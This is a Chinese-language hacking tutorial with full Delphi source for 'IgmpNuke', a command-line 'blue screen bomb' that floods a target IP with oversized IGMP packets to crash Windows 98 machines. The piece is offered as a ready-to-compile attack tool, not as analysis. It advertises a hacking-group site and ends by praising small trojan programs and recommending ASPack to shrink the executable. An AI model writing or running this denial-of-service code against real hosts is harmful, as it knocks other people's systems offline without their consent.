|
蓝屏炸弹一般使用的是IGMP协议(Internet Group Management Protocol)由于IGMP是一种类似ICMP(PING报文)的一种无连接协议,所以在向服务器连接时不需要指定连接的端口,只需要指定IP地址即可我们常用的WIN98系统因为不能很好的处理过大的IGMP数据包,很容易出现系统崩溃的情况,这就是IGMP协议被滥用为制作蓝屏炸弹的原因.
炸弹制作方法:
打开DELPHI,新建一个Console Application这是一个命令行的程序,在MS-DOS方式窗体中执行,例如我们的程序编译后文件名是NUKE.EXE,你就可以在MS-DOS方式窗体输入NUKE XXX.XXX.XXX.XXX 65536 50
其中XXX.XXX.XXX.XXX是目标的IP地址;65536是数据包大小这里是64K,50是发送次数,这里我们的程序就用到了3个参数的传递,在DELPHI中我们就可以使用ParamStr()来获得。
program IgmpNuke;
{$APPTYPE CONSOLE}
uses SysUtils, Windows, WinSock;//因为用到WINSOCK API请把Winsock unit加入Uses项中
var S: TSocket;
PSize: Integer;
Times: Integer;
Addr: TSockAddr;
wsaData:TWSAData;
Pack: Pchar;
begin
WSAStartup(Word(2),wsaData);//初始化WINSOCK,要求最低版本是2;
if ParamStr(1)<>"" then begin //获得第一个参数,如果为空的话,跳到最后输出使用格式。
S:=Socket(AF_INET, SOCK_RAW, IPPROTO_IGMP);//为SOCKET指定协议为IGMP
if S = INVALID_SOCKET then begin
WriteLn("Create Socket Error:"+ IntToStr(GetLastError()));
exit;
end;
PSize:=StrToInt(ParamStr(2));//获得第二个参数,为数据包大小;
Times:=StrToInt(ParamStr(3));//获得第三个参数,为发送次数;
GetMem(Pack,PSize);//分配一段内存,大小为包的大小;
Addr.sin_family:=AF_INET;//指定使用的协议簇;
Addr.sin_addr.S_addr:=inet_addr(Pchar(ParamStr(1)));//指定目标的IP地址;当然要经过inet_addr函数转换;
if Connect(S,Addr,SizeOf(Addr))<>0 then begin
WriteLn("Connect Error (Code):"+IntToStr(GetLastError()));
Exit;
end;
//以下开始循环发送,使用Send api;
Repeat
Send(S,Pack^,PSize,0);
dec(Times); //每次发送后使发送次数减一;
Write(".");
until Times=0;
WriteLn("");
WriteLn("Nuke: "+ParamStr(1)); //显示一下信息;
WriteLn("Packet Size: "+ParamStr(2));
WriteLn("Times: "+ParamStr(3));
WriteLn("GwNuker1.0");
WriteLn("Welcome to http://www.xesjz.com/ ");//做一下广告,呵呵。 白盟旗下的CN安全团队
end else begin
WriteLn("Nuke xxx.xxx.xxx.xxx PackSize Times");
end;
FreeMem(Pack);//释放刚才分配的内存;
WSACleanup;//释放Winsock资源;
end.
好了一个命令行版本的“蓝屏炸弹”就这样写好了,编译成EXE文件,看看只有40K左右,还可以用ASPack压缩的哦!!广外女生有这样小的体积,不是单纯依靠压缩软件的哦,只要在编程的时候减少使用窗体或可视化控件,就可以大大减少自己程序的大小,这是女生和冰河等国产木马不同的。 |
|